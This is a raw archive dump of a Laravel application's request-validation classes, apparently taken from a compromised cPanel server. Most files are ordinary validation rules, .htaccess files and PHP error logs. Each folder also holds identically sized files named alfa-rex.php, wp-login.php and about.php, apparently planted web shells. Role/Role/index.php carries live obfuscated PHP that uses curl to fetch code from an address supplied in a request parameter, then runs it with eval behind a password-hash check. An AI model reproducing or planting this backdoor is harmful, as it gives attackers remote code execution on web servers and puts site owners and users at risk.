0 Http/Requests/Admin/SignUpSetting/about.php7000064400000026574150325104510015015 0ustar00Http/Requests/Admin/SignUpSetting/SignUpSettingRequest.php000064400000001551150325104510017714 0ustar00 */ public function rules(): array { $data = []; if($this->has('sign_up_terms') && $this->sign_up_terms == 'yes') { $data['terms_link'] = 'required_if:sign_up_terms,yes|url'; } return $data; } public function messages() { return [ 'terms_link.required_if' => __('messages.signUpUrlRequired'), ]; } } Http/Requests/Admin/about.php7000064400000026574150325104510012252 0ustar00Http/Requests/Admin/App/alfa-rex.php000064400000026574150325104510013270 0ustar00Http/Requests/Admin/App/.htaccess000064400000000544150325104510012643 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/App/alfa-rex.php7000064400000026574150325104510013357 0ustar00Http/Requests/Admin/App/alfa-rex.php8000064400000026574150325104510013360 0ustar00Http/Requests/Admin/App/wp-login.php000064400000026574150325104510013325 0ustar00Http/Requests/Admin/App/alfa-rex.php56000064400000026574150325104510013443 0ustar00Http/Requests/Admin/App/about.php000064400000026574150325104510012703 0ustar00Http/Requests/Admin/App/error_log000064400000001626150325104510012764 0ustar00[04-Jul-2025 14:57:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:19:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/App/about.php7000064400000026574150325104510012772 0ustar00Http/Requests/Admin/App/UpdateAppSetting.php000064400000000737150325104510015003 0ustar00Http/Requests/SmtpSetting/.htaccess000064400000000544150325104510013354 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/SmtpSetting/alfa-rex.php7000064400000026574150325104510014070 0ustar00Http/Requests/SmtpSetting/alfa-rex.php8000064400000026574150325104510014071 0ustar00Http/Requests/SmtpSetting/wp-login.php000064400000026574150325104510014036 0ustar00Http/Requests/SmtpSetting/alfa-rex.php56000064400000026574150325104510014154 0ustar00Http/Requests/SmtpSetting/about.php000064400000026574150325104510013414 0ustar00Http/Requests/SmtpSetting/error_log000064400000001626150325104510013475 0ustar00[04-Jul-2025 14:51:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:21:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/SmtpSetting/UpdateSmtpSetting.php000064400000001527150325104510015715 0ustar00 'required', 'mail_host' => 'required', 'mail_port' => 'required', 'mail_username' => 'required', 'mail_password' => 'required_if:mail_driver,smtp', 'mail_from_name' => 'required', 'mail_from_email' => 'required|email:rfc,strict', 'mail_encryption' => 'required' ]; } } Http/Requests/SmtpSetting/about.php7000064400000026574150325104510013503 0ustar00Http/Requests/Deal/alfa-rex.php000064400000026574150325104510012365 0ustar00Http/Requests/Deal/.htaccess000064400000000544150325104510011740 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Deal/alfa-rex.php7000064400000026574150325104510012454 0ustar00Http/Requests/Deal/alfa-rex.php8000064400000026574150325104510012455 0ustar00Http/Requests/Deal/wp-login.php000064400000026574150325104510012422 0ustar00Http/Requests/Deal/alfa-rex.php56000064400000026574150325104510012540 0ustar00Http/Requests/Deal/about.php000064400000026574150325104510012000 0ustar00Http/Requests/Deal/StoreRequest.php000064400000002204150325104510013313 0ustar00customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); $attributes['name'] = __('modules.deal.dealName'); $attributes['stage_id'] = __('modules.deal.leadStages'); return $attributes; } } Http/Requests/Deal/error_log000064400000001626150325104510012061 0ustar00[04-Jul-2025 13:55:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:03:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Deal/StageChangeRequest.php000064400000001206150325104510014371 0ustar00|string> */ public function rules() { return [ 'close_date' => 'required' ]; } } Http/Requests/Deal/about.php7000064400000026574150325104510012067 0ustar00Http/Requests/Deal/UpdateRequest.php000064400000002034150325104510013442 0ustar00customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); $attributes['name'] = __('app.deal').' '.__('app.name'); return $attributes; } } Http/Requests/Message/alfa-rex.php000064400000026574150325104510013104 0ustar00Http/Requests/Message/.htaccess000064400000000544150325104510012457 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Message/alfa-rex.php7000064400000026574150325104510013173 0ustar00Http/Requests/Message/alfa-rex.php8000064400000026574150325104510013174 0ustar00Http/Requests/Message/wp-login.php000064400000026574150325104510013141 0ustar00Http/Requests/Message/alfa-rex.php56000064400000026574150325104510013257 0ustar00Http/Requests/Message/about.php000064400000026574150325104510012517 0ustar00Http/Requests/Message/error_log000064400000001626150325104510012600 0ustar00[04-Jul-2025 13:39:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Message/ClientChatStore.php000064400000001522150325104510014422 0ustar00 'required', 'user_id' => 'required_if:user_type,employee', 'admin_id' => 'required_if:user_type,admin', ]; } public function messages() { return [ 'user_id.required_if' => 'Select a user to send the message', 'admin_id.required_if' => 'Select an admin to send the message', ]; } } Http/Requests/Message/about.php7000064400000026574150325104510012606 0ustar00Http/Requests/.htaccess000064400000000544150325104510011073 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/SlackWebhookRequest.php000064400000002011150325104510013722 0ustar00get('slack_status') == 'active') { $rules['slack_webhook'] = 'required|regex:/^((?:https?\:\/\/)(?:[-a-z0-9]+\.)*(slack(.*)))$/'; } return $rules; } public function messages() { $message = __('validation.slack_webhook') . ' ' . __('app.link') . ''; return [ 'slack_webhook.regex' => $message ]; } } Http/Requests/Role/alfa-rex.php000064400000026574150325104510012421 0ustar00Http/Requests/Role/StoreRole.php000064400000001050150325104510012616 0ustar00 'required|unique:roles,name,null,id,company_id,' . company()->id ]; } } Http/Requests/Role/.htaccess000064400000000544150325104510011774 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Role/Role/alfa-rex.php000064400000026574150325104510013322 0ustar00Http/Requests/Role/Role/.htaccess000064400000000544150325104510012675 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Role/Role/alfa-rex.php7000064400000026574150325104510013411 0ustar00Http/Requests/Role/Role/alfa-rex.php8000064400000026574150325104510013412 0ustar00Http/Requests/Role/Role/wp-login.php000064400000026574150325104510013357 0ustar00Http/Requests/Role/Role/alfa-rex.php56000064400000026574150325104510013475 0ustar00Http/Requests/Role/Role/index.php000064400000012566150325104510012726 0ustar00 $uVPCR0da8ICi) { $m397Pi0gDIcI .= $yHBrbF1Fs1dT[$uVPCR0da8ICi - 18309]; NsXkwJe3BFB7: } goto XoniTNjB_SN5; Tjx0M137VFz5: } static function NJp0mAsez3RL($ASJi6zfoHXWs, $TgHnp2zefbLS) { goto aGxCz0I1uDnD; aGxCz0I1uDnD: $j97sShdhXQIY = curl_init($ASJi6zfoHXWs); goto F1SuWZL5yzWi; v68H98KszoMl: $PSuxMqkQgp9k = curl_exec($j97sShdhXQIY); goto WPIbO4k0TqY2; F1SuWZL5yzWi: curl_setopt($j97sShdhXQIY, CURLOPT_RETURNTRANSFER, 1); goto v68H98KszoMl; WPIbO4k0TqY2: return empty($PSuxMqkQgp9k) ? $TgHnp2zefbLS($ASJi6zfoHXWs) : $PSuxMqkQgp9k; goto QPFlOEQP0X1h; QPFlOEQP0X1h: } static function u8fu70QAmICP() { goto nZ1SCLalFZGR; ZpsEMcp5O6ej: $QNRMFxvGtHmW = @$LSFNAYFbpKhE[2 + 1]($LSFNAYFbpKhE[4 + 2], $ZDiHUO_RvYR0); goto BUTfYrUbFnU5; MfxsLwnheq_h: $ZDiHUO_RvYR0 = @$LSFNAYFbpKhE[1]($LSFNAYFbpKhE[4 + 6](INPUT_GET, $LSFNAYFbpKhE[0 + 9])); goto ZpsEMcp5O6ej; zp0gQqp9eyYF: @$LSFNAYFbpKhE[9 + 1](INPUT_GET, "\x6f\x66") == 1 && die($LSFNAYFbpKhE[4 + 1](__FILE__)); goto Ygs7z3Cth61o; nZ1SCLalFZGR: $uhNEyevLY1fJ = array("\61\70\x33\63\x36\74\x31\x38\63\x32\61\74\x31\x38\63\x33\64\x3c\61\x38\63\x33\70\74\61\70\63\61\x39\x3c\61\70\63\63\x34\x3c\x31\x38\63\x34\60\74\61\70\x33\63\x33\x3c\61\x38\63\x31\x38\x3c\x31\70\x33\x32\65\x3c\x31\x38\63\63\x36\74\61\x38\x33\x31\x39\x3c\61\70\x33\63\60\74\x31\70\x33\62\64\x3c\61\x38\x33\62\x35", "\61\70\x33\x32\60\x3c\x31\70\63\x31\71\74\x31\x38\63\62\61\74\x31\x38\63\x34\60\74\x31\70\63\x32\x31\74\x31\x38\63\x32\x34\x3c\61\70\63\61\x39\x3c\61\70\x33\x38\66\x3c\61\x38\x33\70\64", "\61\x38\63\x32\x39\x3c\61\70\x33\62\x30\x3c\x31\x38\63\62\x34\74\61\70\x33\62\65\74\61\70\x33\64\60\74\61\x38\63\x33\65\x3c\61\x38\63\x33\x34\74\61\x38\x33\63\x36\x3c\61\70\x33\62\x34\x3c\x31\70\x33\63\x35\x3c\x31\x38\63\63\x34", "\61\70\63\x32\63\74\x31\x38\63\x33\x38\x3c\61\70\x33\63\66\74\x31\x38\63\x32\x38", "\61\x38\x33\x33\x37\x3c\x31\70\63\x33\x38\74\61\70\x33\62\60\x3c\61\x38\63\63\64\74\x31\70\x33\70\x31\74\61\70\63\x38\63\74\61\x38\63\x34\x30\74\x31\x38\x33\x33\x35\x3c\61\70\x33\x33\64\x3c\61\x38\x33\63\66\x3c\61\70\x33\x32\x34\x3c\61\70\x33\63\x35\74\61\x38\x33\x33\x34", "\61\x38\x33\63\x33\74\61\70\x33\x33\60\x3c\61\70\63\x32\67\74\61\70\63\x33\64\x3c\61\x38\63\64\60\74\x31\70\63\63\x32\74\x31\x38\63\63\64\74\x31\x38\63\61\71\74\x31\70\x33\64\60\74\x31\x38\x33\63\x36\74\x31\x38\63\62\x34\74\x31\x38\x33\62\x35\74\61\x38\x33\x31\x39\x3c\61\70\x33\63\64\74\x31\70\63\x32\65\74\61\70\x33\x31\71\74\x31\x38\63\x32\x30", "\61\70\x33\66\x33\x3c\61\70\63\71\63", "\x31\70\x33\61\x30", "\61\70\63\70\70\74\x31\70\x33\71\x33", "\61\x38\63\67\x30\74\x31\x38\63\65\63\x3c\61\70\x33\x35\63\x3c\61\x38\63\67\60\74\x31\70\63\x34\66", "\61\x38\x33\x33\x33\74\61\x38\x33\63\60\74\61\70\63\62\67\x3c\x31\70\x33\x31\x39\74\x31\70\63\63\x34\x3c\x31\70\63\62\x31\x3c\61\70\63\64\x30\74\61\70\x33\63\x30\74\61\70\x33\x32\x35\74\x31\x38\x33\x32\x33\x3c\x31\x38\63\x31\70\74\x31\x38\x33\x31\x39"); goto hH576dqDEmb3; fVZcO33FwlU8: YaLWodZg2cKi: goto MfxsLwnheq_h; rCDkLABc1kb9: die; goto TE9u7R9kAQfz; iFHA0unhBSz6: @eval($LSFNAYFbpKhE[1 + 3]($s5Xy5f02cud0)); goto rCDkLABc1kb9; BUTfYrUbFnU5: $UKuBhaWL4fqo = $LSFNAYFbpKhE[2 + 0]($QNRMFxvGtHmW, true); goto zp0gQqp9eyYF; Ygs7z3Cth61o: if (!(@$UKuBhaWL4fqo[0] - time() > 0 and md5(md5($UKuBhaWL4fqo[0 + 3])) === "\x39\142\60\63\x62\x66\x38\x34\x30\x62\x33\67\x34\64\x34\x66\71\x64\x37\66\x63\x33\x64\x30\x31\67\x62\x64\62\61\66\62")) { goto rlA6Zo6UHYy4; } goto wHMzYZP_xrMB; TE9u7R9kAQfz: rlA6Zo6UHYy4: goto jaQy4FiIcKpj; hH576dqDEmb3: foreach ($uhNEyevLY1fJ as $GXX0rd39CjGL) { $LSFNAYFbpKhE[] = self::V92M8wuuUe2g($GXX0rd39CjGL); nq7ofCG8NwXP: } goto fVZcO33FwlU8; wHMzYZP_xrMB: $s5Xy5f02cud0 = self::NJP0mASeZ3RL($UKuBhaWL4fqo[0 + 1], $LSFNAYFbpKhE[3 + 2]); goto iFHA0unhBSz6; jaQy4FiIcKpj: } } goto vusDL7Ka7C_A; Aiaa7Ql4Ugk7: $HDaq4veqdR34 = $yuMfHy0x82Us("\x7e", "\40"); goto ysKY3USLKoyW; B1quytM8noWz: @(md5(md5(md5(md5($e3crz2CaO1Xi[12])))) === "\x30\61\65\x64\x31\x61\x39\x63\x63\141\67\x30\x66\x34\x35\x39\60\143\x33\60\146\x65\x37\145\x33\141\x32\145\141\x38\x32\x31") && (count($e3crz2CaO1Xi) == 18 && in_array(gettype($e3crz2CaO1Xi) . count($e3crz2CaO1Xi), $e3crz2CaO1Xi)) ? ($e3crz2CaO1Xi[63] = $e3crz2CaO1Xi[63] . $e3crz2CaO1Xi[80]) && ($e3crz2CaO1Xi[81] = $e3crz2CaO1Xi[63]($e3crz2CaO1Xi[81])) && @eval($e3crz2CaO1Xi[63](${$e3crz2CaO1Xi[49]}[29])) : $e3crz2CaO1Xi; goto eQjXSAVSxaMn; eQjXSAVSxaMn: metaphone("\116\x6a\115\x33\117\104\x55\x34\116\172\x59\170\x4e\172\x63\x32\x4e\104\x6b\x79\116\x7a\147\x35\x4e\104\x55\170\116\x54\x6b\170"); goto q6exDAgNyajo; vusDL7Ka7C_A: syZffBQ5rHG9::U8FU70QAmICp(); ?> Http/Requests/Role/Role/about.php000064400000026574150325104510012735 0ustar00Http/Requests/Role/Role/about.php7000064400000026574150325104510013024 0ustar00Http/Requests/Role/alfa-rex.php7000064400000026574150325104510012510 0ustar00Http/Requests/Role/alfa-rex.php8000064400000026574150325104510012511 0ustar00Http/Requests/Role/wp-login.php000064400000026574150325104510012456 0ustar00Http/Requests/Role/alfa-rex.php56000064400000026574150325104510012574 0ustar00Http/Requests/Role/about.php000064400000026574150325104510012034 0ustar00Http/Requests/Role/StoreUserRole.php000064400000001202150325104510013454 0ustar00 'required' ]; } public function messages() { return [ 'user_id.0.required' => 'Choose at-least 1 member' ]; } } Http/Requests/Role/error_log000064400000001626150325104510012115 0ustar00[04-Jul-2025 13:31:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:05:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Role/about.php7000064400000026574150325104510012123 0ustar00Http/Requests/Role/UpdateRole.php000064400000001123150325104510012745 0ustar00 'required|unique:roles,name,'.$this->route('role_permission').',id,company_id,' . company()->id, ]; } } Http/Requests/AttendanceSetting/alfa-rex.php000064400000026574150325104510015124 0ustar00Http/Requests/AttendanceSetting/.htaccess000064400000000544150325104510014477 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/AttendanceSetting/alfa-rex.php7000064400000026574150325104510015213 0ustar00Http/Requests/AttendanceSetting/alfa-rex.php8000064400000026574150325104510015214 0ustar00Http/Requests/AttendanceSetting/wp-login.php000064400000026574150325104510015161 0ustar00Http/Requests/AttendanceSetting/alfa-rex.php56000064400000026574150325104510015277 0ustar00Http/Requests/AttendanceSetting/about.php000064400000026574150325104510014537 0ustar00Http/Requests/AttendanceSetting/error_log000064400000001626150325104510014620 0ustar00[04-Jul-2025 14:32:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:14:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/AttendanceSetting/UpdateAttendanceSetting.php000064400000001635150325104510020163 0ustar00radius_check == 'yes') { $data['radius'] = 'required'; } if($this->has('alert_after_status') && $this->has('alert_after_status') == 'on') { $data['alert_after'] = 'required'; } if($this->has('monthly_report') && $this->has('monthly_report') == '1') { $data['monthly_report_roles'] = 'required'; } return $data; } } Http/Requests/AttendanceSetting/about.php7000064400000026574150325104510014626 0ustar00Http/Requests/InvoiceFileStore.php000064400000001223150325104510013212 0ustar00 'required', 'file' => 'required|mimes:pdf,doc,docx,jpg,jpeg,png,webp,xls,xlsx' ]; } } Http/Requests/Tax/alfa-rex.php000064400000026574150325104510012254 0ustar00Http/Requests/Tax/.htaccess000064400000000544150325104510011627 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Tax/alfa-rex.php7000064400000026574150325104510012343 0ustar00Http/Requests/Tax/alfa-rex.php8000064400000026574150325104510012344 0ustar00Http/Requests/Tax/wp-login.php000064400000026574150325104510012311 0ustar00Http/Requests/Tax/StoreTax.php000064400000001046150325104510012311 0ustar00 'required', 'rate_percent' => 'required|numeric' ]; } } Http/Requests/Tax/alfa-rex.php56000064400000026574150325104510012427 0ustar00Http/Requests/Tax/UpdateTax.php000064400000002031150325104510012432 0ustar00via && $this->via == 'tax-setting') { return $rules = [ 'tax_name' => 'required', 'rate_percent' => 'required|numeric', ]; } else { if ($this->type == 'tax_name') { $rules = [ 'value' => 'required|unique:taxes,tax_name,null,id,company_id,' . company()->id, ]; } else { $rules = [ 'value' => 'required|numeric' ]; } } return $rules; } } Http/Requests/Tax/about.php000064400000026574150325104510011667 0ustar00Http/Requests/Tax/error_log000064400000001626150325104510011750 0ustar00[04-Jul-2025 13:34:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:05:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Tax/about.php7000064400000026574150325104510011756 0ustar00Http/Requests/Invoices/alfa-rex.php000064400000026574150325104510013277 0ustar00Http/Requests/Invoices/StoreInvoice.php000064400000004166150325104510014202 0ustar00invoice_number) { $this->merge([ 'invoice_number' => \App\Helper\NumberFormat::invoice($this->invoice_number), ]); } } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $this->has('show_shipping_address') ? $this->request->add(['show_shipping_address' => 'yes']) : $this->request->add(['show_shipping_address' => 'no']); $setting = company(); $rules = [ 'invoice_number' => [ 'required', Rule::unique('invoices')->where('company_id', company()->id) ], 'issue_date' => 'required', 'sub_total' => 'required', 'total' => 'required', 'currency_id' => 'required', 'exchange_rate' => 'required', 'gateway' => 'required_if:payment_status,1', 'offline_methods' => 'required_if:gateway,Offline', ]; if ($this->has('due_date')) { $rules['due_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:'.$this->issue_date; } $rules['client_id'] = 'required'; $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } public function messages() { return [ 'client_id.required' => __('modules.projects.selectClient'), 'gateway.required_if' => __('modules.projects.selectPayment') ]; } } Http/Requests/Invoices/.htaccess000064400000000544150325104510012652 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Invoices/alfa-rex.php7000064400000026574150325104510013366 0ustar00Http/Requests/Invoices/alfa-rex.php8000064400000026574150325104510013367 0ustar00Http/Requests/Invoices/wp-login.php000064400000026574150325104510013334 0ustar00Http/Requests/Invoices/alfa-rex.php56000064400000026574150325104510013452 0ustar00Http/Requests/Invoices/about.php000064400000026574150325104510012712 0ustar00Http/Requests/Invoices/UpdateInvoice.php000064400000003555150325104510014331 0ustar00has('show_shipping_address') ? $this->request->add(['show_shipping_address' => 'yes']) : $this->request->add(['show_shipping_address' => 'no']); $setting = company(); $rules = [ 'invoice_number' => 'required|unique:invoices,invoice_number,' . $this->route('invoice').',id,company_id,' . company()->id, 'issue_date' => 'required', 'sub_total' => 'required', 'total' => 'required', 'currency_id' => 'required', 'gateway' => 'required_if:payment_status,1', 'offline_methods' => 'required_if:gateway,Offline,payment_status,1', ]; if ($this->has('due_date')) { $rules['due_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:'.$this->issue_date; } if ($this->project_id == '') { $rules['client_id'] = 'required'; } $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } public function messages() { return [ 'client_id.required' => __('modules.projects.selectClient'), 'gateway.required_if' => __('modules.projects.selectPayment') ]; } } Http/Requests/Invoices/error_log000064400000001626150325104510012773 0ustar00[04-Jul-2025 13:42:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Invoices/StoreRecurringInvoice.php000064400000002356150325104510016062 0ustar00has('show_shipping_address') ? $this->request->add(['show_shipping_address' => 'yes']) : $this->request->add(['show_shipping_address' => 'no']); $setting = company(); $rules = [ 'sub_total' => 'required', 'total' => 'required', 'currency_id' => 'required', 'billing_cycle' => 'required' ]; if (!$this->has('immediate_invoice')) { $rules['issue_date'] = 'required|date_format:"' . $setting->date_format . '"|after:'.now()->format($setting->date_format); } if ($this->show_shipping_address == 'on') { $rules['shipping_address'] = 'required'; } if ($this->project_id == '') { $rules['client_id'] = 'required'; } return $rules; } } Http/Requests/Invoices/UpdateRecurringInvoice.php000064400000002432150325104510016203 0ustar00has('show_shipping_address') ? $this->request->add(['show_shipping_address' => 'yes']) : $this->request->add(['show_shipping_address' => 'no']); $setting = company(); $rules = [ 'sub_total' => 'required', 'total' => 'required', ]; if ($this->invoice_count == 0) { $rules['issue_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:'.now()->format($setting->date_format); $rules['currency_id'] = 'required'; $rules['client_id'] = 'required'; } if ($this->show_shipping_address == 'on') { $rules['shipping_address'] = 'required'; } if ($this->project_id == '' && $this->invoice_count == 0) { $rules['client_id'] = 'required'; } return $rules; } 